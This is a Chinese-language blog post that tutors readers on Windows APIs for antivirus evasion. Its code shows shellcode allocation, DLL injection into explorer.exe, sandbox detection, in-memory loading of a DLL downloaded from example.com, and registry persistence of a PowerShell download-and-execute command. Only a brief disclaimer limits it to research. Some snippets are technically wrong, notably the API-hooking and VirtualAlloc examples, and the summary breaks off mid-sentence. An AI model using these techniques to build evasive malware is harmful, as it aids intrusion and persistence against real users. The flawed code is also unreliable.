AI摘要:本文章介绍了免杀技术中常用的Windows API函数及其应用,涵盖内存操作、动态加载、进程操作、文件操作等。文中详细阐述了如何利用这些函数进行代码注入、隐藏恶意行为、规避沙箱检测和实现无文件持久化。强调了内存执行、进程注入、沙箱规避和无文件恶意软件等关键策略,并指出需结合多种技术以应对不断更新的杀毒软件。

班门弄斧,大佬别喷我

免杀常用Windows API函数及其作用

以下是免杀开发中常用的Windows API函数,按功能分类,涵盖内存操作、动态加载、进程操作、文件操作等场景。这些函数在Windows编程中广泛使用,但在免杀中被赋予了特定的用途。以下表格总结了主要函数及其应用:

类别常用函数功能描述免杀应用
内存操作VirtualAlloc, VirtualProtect, WriteProcessMemory分配/修改内存权限,向进程内存写入数据分配可执行内存,存储Shellcode或注入代码
动态加载LoadLibrary, GetProcAddress, FreeLibrary加载DLL,获取函数地址,释放DLL动态调用API,隐藏导入表,清理痕迹
进程操作CreateProcess, OpenProcess, CreateRemoteThread创建/打开进程,在目标进程创建线程进程注入,执行恶意代码
文件操作CreateFile, ReadFile, WriteFile创建/打开文件,读写文件内容加载加密文件,动态解密载荷
加密与辅助CryptEncrypt, CryptDecrypt, Sleep加密/解密数据,延迟执行隐藏特征,规避沙箱分析
注册表操作RegSetValueEx, RegCreateKeyEx, RegOpenKeyEx设置/创建/打开注册表键值持久化,修改系统设置
系统信息IsDebuggerPresent, GetSystemInfo检测调试器,获取系统信息环境检测,调整行为以绕过沙箱
文件管理DeleteFile, MoveFile, CopyFile删除/移动/复制文件隐藏恶意文件,持久化
输入与网络GetAsyncKeyState, HttpSendRequestEx获取键盘状态,发送HTTP请求键录入窃取,C2通信
详细函数说明

以下按类别详细介绍各函数及其在免杀中的应用,包含示例代码以帮助理解(示例代码基于C语言,供参考):

  1. 内存操作相关函数
    内存操作是免杀的核心,恶意代码通常在内存中动态加载和执行,以规避文件扫描。

    • VirtualAlloc:为进程分配虚拟内存,常用于存储解密后的Shellcode。

      • 示例:

        LPVOID VirtualAlloc(NULL, dwSize, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
      • 免杀应用:分配可执行内存,存储动态加载的DLL。
    • VirtualProtect:修改内存区域的保护属性,使其可执行。

      • 示例:

        BOOL VirtualProtect(lpAddress, dwSize, PAGE_EXECUTE_READ, &oldProtect);
      • 免杀应用:修改权限以执行注入的代码。
    • WriteProcessMemory:向目标进程内存写入数据,常用于远程线程注入。

      • 示例:

        WriteProcessMemory(hProcess, lpBaseAddress, lpBuffer, nSize, NULL);
      • 免杀应用:将加密代码解密并写入内存。
  2. 动态加载相关函数
    动态加载DLL或函数可减少静态特征,降低检测概率。

    • LoadLibrary:加载指定的DLL到进程地址空间。

      • 示例:

        HMODULE hModule = LoadLibrary("kernel32.dll");
      • 免杀应用:延迟加载DLL,隐藏导入表。
    • GetProcAddress:获取DLL中函数的地址,避免硬编码。

      • 示例:

        FARPROC pFunc = GetProcAddress(hModule, "VirtualAlloc");
      • 免杀应用:动态调用API,规避静态分析。
    • FreeLibrary:释放已加载的DLL,清理内存痕迹。

      • 示例:

        FreeLibrary(hModule);
      • 免杀应用:减少运行痕迹,降低检测风险。
  3. 进程操作相关函数
    进程操作用于代码注入或隐藏,常用于远程线程注入等技术。

    • CreateProcess:创建新进程,用于后续注入。

      • 示例:

        CreateProcess(NULL, "notepad.exe", NULL, NULL, FALSE, CREATE_SUSPENDED, NULL, NULL, &si, &pi);
      • 免杀应用:创建挂起进程,注入恶意代码。
    • OpenProcess:打开目标进程获取句柄。

      • 示例:

        HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwProcessId);
      • 免杀应用:获取系统进程句柄(如explorer.exe)进行操作。
    • CreateRemoteThread:在目标进程创建线程,执行Shellcode。

      • 示例:

        CreateRemoteThread(hProcess, NULL, 0, lpStartAddress, NULL, 0, NULL);
      • 免杀应用:结合WriteProcessMemory实现远程线程注入。
  4. 文件操作相关函数
    文件操作用于加载或隐藏恶意文件,动态解密载荷。

    • CreateFile:创建或打开文件,读写加密的恶意文件。

      • 示例:

        HANDLE hFile = CreateFile("malware.dat", GENERIC_READ, 0, NULL, OPEN_EXISTING, 0, NULL);
      • 免杀应用:加载加密的恶意载荷。
    • ReadFile/WriteFile:读写文件内容,动态解密。

      • 示例:

        ReadFile(hFile, lpBuffer, dwSize, &dwRead, NULL);
      • 免杀应用:读取加密文件,写入临时文件。
  5. 其他辅助函数
    这些函数用于加密、延迟执行等辅助功能,增强免杀效果。

    • CryptEncrypt/CryptDecrypt:加密/解密数据,隐藏特征。

      • 示例:

        CryptEncrypt(hKey, 0, TRUE, 0, pbData, &dwDataLen, dwBufLen);
      • 免杀应用:对Shellcode加密,动态解密后执行。
    • Sleep:暂停程序执行,延迟以规避沙箱。

      • 示例:

        Sleep(60000); // 延迟1分钟
      • 免杀应用:通过延迟执行绕过沙箱时间限制。
免杀中函数的使用技巧

研究显示,免杀效果依赖于函数的灵活运用,以下是常见技巧:

  1. 动态调用API:避免硬编码,使用LoadLibraryGetProcAddress动态加载API,示例:

    HMODULE hKernel32 = LoadLibrary("kernel32.dll");
    FARPROC pVirtualAlloc = GetProcAddress(hKernel32, "VirtualAlloc");
  2. 代码混淆:对函数名、字符串加密存储,运行时解密调用,使用XOR或RC4算法。
  3. 内存执行:将恶意代码以Shellcode形式存储,流程为VirtualAlloc -> WriteProcessMemory -> CreateRemoteThread
  4. 规避沙箱:使用Sleep或环境检测(如检查CPU核心数),示例:

    Sleep(60000); // 延迟1分钟
  5. 清理痕迹:使用FreeLibraryVirtualFree释放内存,减少运行痕迹。

    内存执行与.NET反射:内存中的动态加载

    内存执行是高级免杀策略的核心,通过在内存中直接加载和执行恶意代码,规避基于文件的检测。研究显示,这种方法特别适用于绕过实时保护(如Windows Defender的实时扫描)。

  • .NET反射技术

    • 原理:利用PowerShell和.NET框架,可以在内存中加载并执行C#程序集(Assembly),无需将代码写入磁盘。这种方法依赖于Windows的内存管理和进程机制,虽然.NET反射本身不直接涉及Windows API,但其底层依赖于Windows API的支持。
    • Windows API相关:虽然.NET反射主要通过.NET框架实现,但其依赖的内存操作(如加载DLL到内存)涉及VirtualAllocVirtualProtect等API。PowerShell的执行环境也依赖于Windows的进程管理。
    • 实现步骤

      • 使用WebClient.DownloadData从远程服务器获取C# DLL。
      • 通过Assembly.Load在内存中加载DLL。
      • 使用反射机制(如Object.GetTypeType.GetMethodMethodBase.Invoke)动态调用方法。
    • 示例代码

      // 使用WebClient下载DLL
      byte[] dllData = new WebClient().DownloadData("http://example.com/malware.dll");
      // 在内存中加载DLL
      Assembly asm = Assembly.Load(dllData);
      // 获取类型并调用方法
      Type type = asm.GetType("MalwareClass");
      MethodInfo method = type.GetMethod("Run");
      method.Invoke(null, null);
    • 免杀应用:这种方法完全在内存中执行,避免了文件写入磁盘的风险,尤其适用于绕过实时保护。

进程注入与API钩子:隐藏恶意行为的伪装

进程注入是另一种高级免杀技术,通过将恶意代码注入到合法进程中执行,可以隐藏恶意行为的特征,规避行为分析。

  • 经典DLL注入

    • 原理:使用Windows API函数WriteProcessMemory将恶意DLL的路径写入目标进程的内存,然后通过CreateRemoteThread在目标进程中创建一个远程线程,加载并执行恶意DLL。
    • Windows API相关

      • OpenProcess:打开目标进程获取句柄。
      • WriteProcessMemory:将恶意代码写入目标进程的内存。
      • CreateRemoteThread:在目标进程中创建线程,执行注入的代码。
    • 实现步骤

      • 打开目标进程(如explorer.exe),获取其句柄。
      • 分配内存并写入恶意DLL路径。
      • 创建远程线程,调用LoadLibraryA加载DLL。
    • 示例代码

      // 打开目标进程
      HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwProcessId);
      // 写入恶意DLL路径
      WriteProcessMemory(hProcess, lpRemoteMemory, "C:\\malware.dll", strlen("C:\\malware.dll"), NULL);
      // 创建远程线程加载DLL
      CreateRemoteThread(hProcess, NULL, 0, (LPTHREAD_START_ROUTINE)LoadLibraryA, lpRemoteMemory, 0, NULL);
    • 免杀应用:注入到合法进程中,可以伪装恶意行为,使其被视为正常进程,降低行为分析的检测率。
  • API钩子(API Hooking)

    • 原理:通过修改目标进程中Windows API函数的地址表(IAT)或导出表(EAT),拦截并重定向API调用。例如,拦截CreateFileA以隐藏文件操作。
    • Windows API相关

      • GetModuleHandle:获取目标DLL的句柄。
      • GetProcAddress:获取API函数的地址。
      • WriteProcessMemory:修改目标进程的内存,替换API函数的地址。
    • 示例代码

      // 获取目标进程的句柄
      HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwProcessId);
      // 获取目标DLL的基址
      HMODULE hMod = GetModuleHandle("kernel32.dll");
      // 获取API函数地址
      FARPROC pOriginal = GetProcAddress(hMod, "CreateFileA");
      // 替换为钩子函数地址
      WriteProcessMemory(hProcess, pOriginal, pHookFunction, sizeof(pHookFunction), NULL);
    • 免杀应用:通过钩子,可以拦截敏感API调用(如文件操作或网络请求),从而隐藏恶意行为,增强隐蔽性。
  • 相关研究:MDPI的研究(Antivirus Evasion Methods in Modern Operating Systems)指出,进程注入是常见的免杀技术,特别是在结合其他混淆方法时效果更佳。实验结果显示,工具如Shellter在进程注入中表现出色,静态扫描逃过5/6杀毒软件,使用.raw扩展名时在静态和运行时扫描中逃过半数杀毒软件。

沙箱检测与规避:对抗行为分析

现代杀毒软件和沙箱环境(如Cuckoo Sandbox)使用行为分析来检测恶意代码,因此,识别并规避沙箱环境成为一种高级免杀策略。

  • 沙箱检测方法

    • 检查系统信息

      • 使用GetSystemInfo获取系统信息(如CPU核心数、内存大小),与典型沙箱环境(通常为虚拟机)进行比较。
      • 示例代码:

        SYSTEM_INFO sysInfo;
        GetSystemInfo(&sysInfo);
        if (sysInfo.dwNumberOfProcessors < 4) {
            // 可能为沙箱环境
        }
    • 检查进程列表

      • 使用CreateToolhelp32SnapshotProcess32First枚举进程列表,检查是否存在典型沙箱进程(如vmtoolsd.exe)。
      • 示例代码:

        HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
        PROCESSENTRY32 pe;
        pe.dwSize = sizeof(PROCESSENTRY32);
        Process32First(hSnapshot, &pe);
        do {
            if (strcmp(pe.szExeFile, "vmtoolsd.exe") == 0) {
                // 可能为沙箱环境
            }
        } while (Process32Next(hSnapshot, &pe));
    • 检查文件系统

      • 使用GetVolumeInformation检查磁盘信息,沙箱环境通常使用虚拟磁盘。
      • 示例代码:

        char volName[MAX_PATH];
        GetVolumeInformation("C:\\", volName, MAX_PATH, NULL, NULL, NULL, NULL, 0);
        if (strcmp(volName, "WindowsVM") == 0) {
            // 可能为沙箱环境
        }
  • 规避策略

    • 延迟执行:使用Sleep函数延迟执行,超过沙箱的分析时间限制。
    • 动态行为:在检测到非沙箱环境后才执行恶意代码。
    • 非模拟API:使用不常被沙箱模拟的Win32 API(如VirtualAllocExNumaFlsAlloc),增加检测难度。

文件less恶意软件与注册表操作:无文件痕迹的持久化

文件less恶意软件(Fileless Malware)是当前免杀技术的趋势,通过利用系统合法组件(如PowerShell、WMI)在内存中执行代码,避免文件扫描。

  • 注册表操作

    • 原理:利用Windows注册表存储恶意代码或配置信息,然后通过系统组件(如PowerShell)动态执行。
    • Windows API相关

      • RegCreateKeyEx:创建注册表键。
      • RegSetValueEx:设置注册表值。
      • RegOpenKeyEx:打开注册表键。
    • 实现步骤

      • 创建注册表键存储PowerShell命令。
      • 系统启动时通过PowerShell执行命令。
    • 示例代码

      HKEY hKey;
      RegCreateKeyEx(HKEY_CURRENT_USER, "Software\\Malware", 0, NULL, REG_OPTION_NON_VOLATILE, KEY_WRITE, NULL, &hKey, NULL);
      RegSetValueEx(hKey, "Payload", 0, REG_SZ, (LPBYTE)"powershell -c IEX (New-Object Net.WebClient).DownloadString('http://example.com/payload.ps1')", NULL);
      RegCloseKey(hKey);
    • 免杀应用:通过注册表持久化恶意代码,并在系统启动时通过PowerShell执行,规避文件扫描。

总结

免杀技术需要结合多种策略,包括内存执行、进程注入、沙箱规避和文件less恶意软件。以下是关键要点:

  • 内存执行:利用.NET反射或Shellcode在内存中直接执行代码,避免文件扫描。
  • 进程注入:通过WriteProcessMemoryCreateRemoteThread将恶意代码注入合法进程。
  • 沙箱规避:使用GetSystemInfoCreateToolhelp32Snapshot等API检测沙箱环境,并通过延迟执行或动态行为

注意事项

  • 免杀技术仅限于合法安全研究,切勿用于恶意攻击,遵守2025年4月21日有效的法律法规。
  • 现代杀毒软件不断更新,单一技术可能失效,需结合加壳、变形等技术。
  • 深入学习Windows内核编程和PE文件结构,有助于更好地理解和应用这些技术。

关键引用

最后修改:2025 年 04 月 22 日
如果觉得我的文章对你有用,请随意赞赏